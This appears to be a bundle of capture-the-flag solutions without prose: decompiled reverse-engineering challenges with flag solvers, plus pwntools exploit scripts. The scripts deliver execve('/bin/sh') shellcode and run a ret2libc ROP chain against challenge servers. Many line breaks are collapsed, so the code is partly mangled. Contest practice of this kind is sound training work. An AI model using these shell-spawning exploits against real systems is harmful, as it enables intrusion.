while ( (signed int)v4 < SHIDWORD(v4) )  {v3 = input[(signed int)v4];if ( v3 == 'd' ){  local += 4;}else if ( v3 > 100 ){  if ( v3 == 's' )  {local += 64;  }  else  {if ( v3 != 'w' ){LABEL_12:  puts("Illegal input!");  exit(0);}local -= 64;  }}else{  if ( v3 != 'a' )goto LABEL_12;  local -= 4;}if ( local < (char *)&unk_602080 || local > (char *)&unk_60247C || *(_DWORD *)local & 1 )  goto LABEL_22;LODWORD(v4) = v4 + 1;  }

if ( strlen(input) == 39&& input[0] == 'h'&& input[1] == 'g'&& input[2] == 'a'&& input[3] == 'm'&& input[4] == 'e'&& input[5] == '{'&& input[38] == '}' )  {left = 0LL;v8 = 0;right = 0LL;v10 = 0;check_number((__int64)&left, (__int64)&input[6]);check_number((__int64)&right, (__int64)&input[22]);for ( i = 0; i <= 7; ++i ){  *((_BYTE *)&left + i) = ((*((_BYTE *)&left + i) & 0xE0) >> 5) | 8 * *((_BYTE *)&left + i);// 循环左移三位  *((_BYTE *)&left + i) = *((_BYTE *)&left + i) & 0x55 ^ ((*((_BYTE *)&right + 7 - i) & 0xAA) >> 1) | *((_BYTE *)&left + i) & 0xAA;  *((_BYTE *)&right + 7 - i) = 2 * (*((_BYTE *)&left + i) & 0x55) ^ *((_BYTE *)&right + 7 - i) & 0xAA | *((_BYTE *)&right + 7 - i) & 0x55;  *((_BYTE *)&left + i) = *((_BYTE *)&left + i) & 0x55 ^ ((*((_BYTE *)&right + 7 - i) & 0xAA) >> 1) | *((_BYTE *)&left + i) & 0xAA;}for ( j = 0; j <= 7; ++j ){  *((_BYTE *)&left + j) ^= key[j];  if ( *((_BYTE *)&left + j) != byte_602050[j] )  {puts("sry, wrong flag");exit(0);  }}for ( k = 0; k <= 7; ++k ){  *((_BYTE *)&right + k) ^= *((_BYTE *)&left + k) ^ key[k];  if ( *((_BYTE *)&right + k) != byte_602060[k] )  {puts("Just one last step");exit(0);  }}puts("Congratulations! You are already familiar with bitwise operation.");

#!/usr/bin/python#coding:utf-8left_string = "e4sy_Re_"right_string = "Easylif3"key = [0x4C,0x3C,0xD6,0x36,0x50,0x88,0x20,0xCC]
# left = [0x5C ,0xC2 ,0xBE ,0x9A ,0xD3 ,0xC6 ,0x6F,0xBC]# right =[0xEB ,0x82 ,0xD6 ,0xB1 ,0xAF ,0xC1 ,0x2C,0x0F]left = []right = []for i in range(8):  left.append(ord(left_string[i])^key[i])  right.append(ord(right_string[i])^left[i])
right = right[::-1]flag1 = []flag2 = []
def circular_shift_left(int_value,k,bit = 8):
bit_string = '{:0%db}' % bit
bin_value = bit_string.format(int_value) # 8 bit binary
bin_value = bin_value[k:] + bin_value[:k]
int_value = int(bin_value,2)
return int_value
def toStr(num,base):convertString = "0123456789ABCDEF"#最大转换为16进制if num < base:return convertString[num]else:return toStr(num//base,base)  + convertString[num%base]
for i in range(8):  left_q_a = left[i]&0xaa  left_xor = left[i]&0x55
  right_xor = right[i]&0xaa  right_q_5 = right[i]&0x55
  left_q_5 = left_xor^((right[i]&0xaa)>>1)
  left_temp = left_q_5|left_q_a  right_q_a = (((left_temp&0x55)<<1)^right_xor)  right_temp =  right_q_5|right_q_a
  flag2.append(right_temp)  left_q_a_2 = left_temp&0xaa  left_xor_2 = left_temp&0x55  left_q_5_2 = ((right_temp&0xaa)>>1)^left_xor_2
  left_temp_2 = left_q_5_2|left_q_a_2  left_temp_2 = circular_shift_left(left_temp_2,5,8)  flag1.append(left_temp_2)
flag2 = flag2[::-1]
for i in range(8):  print toStr(flag1[i],16).lower()for i in range(8):  print toStr(flag2[i],16).lower()

for ( i = 6i64; ; i = v11 + 1 ) // 按_切割{  LOBYTE(v0) = '_';  v11 = sub_7FF735394060(&input, v0, i);// 返回_位置  if ( v11 == -1 )break;  v16 = sub_7FF7353943B0(&input, &v40, i, v11 - i);  v17 = v16;  v1 = ret_value(v16);  v18 = atoll(v1);  sub_7FF735394350(&v14, &v18);  sub_7FF735392FA0(&v40);}v19 = sub_7FF7353943B0(&input, &v41, i, 61 - i);v20 = v19;v2 = ret_value(v19);v21 = atoll(v2);sub_7FF735394350(&v14, &v21);sub_7FF735392FA0(&v41);v31 = 'hg';v32 = 'am';v33 = 'e';v34 = 're';v35 = 'is';v36 = 'so';v37 = 'so';v38 = 'ea';v39 = 'sy';v22 = 1i64;v23 = 0i64;v24 = 1i64;v25 = 0i64;v26 = 1i64;v27 = 1i64;v28 = 1i64;v29 = 2i64;v30 = 2i64;for ( j = 0i64; j < 3; ++j ){  for ( k = 0i64; k < 3; ++k )  {v12 = 0i64;for ( l = 0; l < 3; ++l )  v12 += *(&v22 + 3 * l + k) * *(_QWORD *)sub_7FF7353931E0(&v14, l + 3 * j);if ( *(&v31 + 3 * j + k) != v12 ){  v3 = sub_7FF735391900(std::cout, "error");  std::basic_ostream<char,std::char_traits<char>>::operator<<(v3, sub_7FF735392830);  sub_7FF735393010(&v14);  sub_7FF735392FA0(&input);  return 0i64;}  }}v6 = sub_7FF735391900(std::cout, "you are good at re");

#!/usr/bin/python#coding:utf-8from pwn import *from time import *from LibcSearcher import *
context.log_level="debug"
EXEC_FILE = "./ROP_LEVEL0"REMOTE_LIBC = "./db/libc6_2.24-9ubuntu2.2_amd64.so"
def main():
    r = remote('47.103.214.163', 20000)    elf = ELF(EXEC_FILE)    #libc = ELF(REMOTE_LIBC)
    r.recvuntil('!')    raw_input()    r.send('\x00'*120+'0O00O0o\x00O0\x00')

r.interactive()
if __name__ == '__main__':  main()

int __cdecl main(int argc, const char **argv, const char **envp){  __int64 v4[11]; // [rsp+0h] [rbp-60h]  int i; // [rsp+5Ch] [rbp-4h]
  setvbuf(_bss_start, 0LL, 2, 0LL);  setvbuf(stdin, 0LL, 2, 0LL);  memset(v4, 0, 80uLL);  puts("Let's Pwn me with numbers!");  for ( i = 0; i <= 19; ++i )  v4[i] = readll();  return 0;}

__int64 readll(){  char nptr[8]; // [rsp+0h] [rbp-20h]  __int64 v2; // [rsp+8h] [rbp-18h]  int v3; // [rsp+10h] [rbp-10h]  int v4; // [rsp+18h] [rbp-8h]  int i; // [rsp+1Ch] [rbp-4h]
  *(_QWORD *)nptr = 0LL;  v2 = 0LL;  v3 = 0;  v4 = 0;  for ( i = 0; read(0, &nptr[i], 1uLL) > 0 && i <= 19 && nptr[i] != 10; ++i );  return atoll(nptr);}

push rbpmov rbp, rspjmp rsp

#\x6a\x42\x58\xfe#\xc4\x48\x99\x52#\x48\xbf\x2f\x62#\x69\x6e\x2f\x2f#\x73\x68\x57\x54#\x5e\x49\x89\xd0#\x49\x89\xd2\x0f#\x05

push 42h         6a 42pop rax         58inc ah         FE C4cqo        48 99pushrdx        52mov rdi, 68732F2F6E69622Fh     48 BF 2F 62 69 6E 2F 2F 73 68push rdi        57push rsp        54pop rsi        5e mov r8, rdx         49 89 d0mov r10, rdx        49 89 d2syscall       0f 5

push raxpop  raxcqopush rdxpush raxpop  raxmov  rdi, 68732F2F6E69622Fhpop  raxpush raxpush rdipush rsppop  rsimov  r8, rdxpush raxpop  raxpush raxpop  raxpush raxpop  raxmov  r10, rdxsyscall

#!/usr/bin/python#coding:utf-8from pwn import *from time import *from LibcSearcher import *
context.log_level="debug"
EXEC_FILE = "./Number_Killer"REMOTE_LIBC = "./db/libc6_2.24-9ubuntu2.2_amd64.so"
r = remote('172.17.0.2', 10002)elf = ELF(EXEC_FILE)libc = ELF(REMOTE_LIBC)
r.recvuntil("!")r.sendline(str(0x505850c4fe58426a))r.sendline(str(0x5850529948585058))r.sendline(str(0x2f2f6e69622fbf48))r.sendline(str(0x495e545758506873))r.sendline(str(0x585058505850d089))r.sendline(str(0x000000050fd28949))r.sendline(str(0))r.sendline(str(0))r.sendline(str(0))r.sendline(str(0))r.sendline(str(0))r.sendline(str(47244640256))r.sendline(str(0x40078D))r.sendline(str(0x40078D))
r.sendline(str(0x505850c4fe58426a))r.sendline(str(0x5850529948585058))r.sendline(str(0x2f2f6e69622fbf48))r.sendline(str(0x495e545758506873))r.sendline(str(0x585058505850d089))r.sendline(str(0x000000050fd28949))
r.interactive()

#!/usr/bin/python#coding:utf-8from pwn import *from time import *from LibcSearcher import *
context.log_level="debug"
EXEC_FILE = "./ROP_LEVEL0"REMOTE_LIBC = "./db/libc6_2.24-9ubuntu2.2_amd64.so"
r = remote('47.103.214.163',20002)elf = ELF(EXEC_FILE)#libc = ELF(REMOTE_LIBC)
r.recvuntil('?')r.sendline('a'*32)r.recvuntil('!')r.sendline(str(0x6010E0))print r.recv()

r.interactive()

#!/usr/bin/python#coding:utf-8from pwn import *from time import *from LibcSearcher import *
context.log_level="debug"
EXEC_FILE = "./ROP_LEVEL0"REMOTE_LIBC = "./db/libc6_2.24-9ubuntu2.2_amd64.so"
r = remote('47.103.214.163',20003)elf = ELF(EXEC_FILE)#libc = ELF(REMOTE_LIBC)
read_got = elf.got['read']puts_plt = elf.plt['puts']#padding == 88
r.recv()payload = 'a'*88payload += p64(0x400753)# pop rdipayload += p64(read_got)payload += p64(puts_plt)payload += p64(0x040065C)r.sendline(payload)
addr = u64(r.recvn(6).ljust(8,'\x00'))print hex(addr)
r.recv()
obj = LibcSearcher('read', addr)libc_addr = addr - obj.dump('read')system_addr = libc_addr + obj.dump('system')bin_sh = libc_addr + obj.dump('str_bin_sh')

payload = 'a'*88payload += p64(0x400753)payload += p64(bin_sh)payload += p64(system_addr)raw_input()r.sendline(payload)

r.interactive()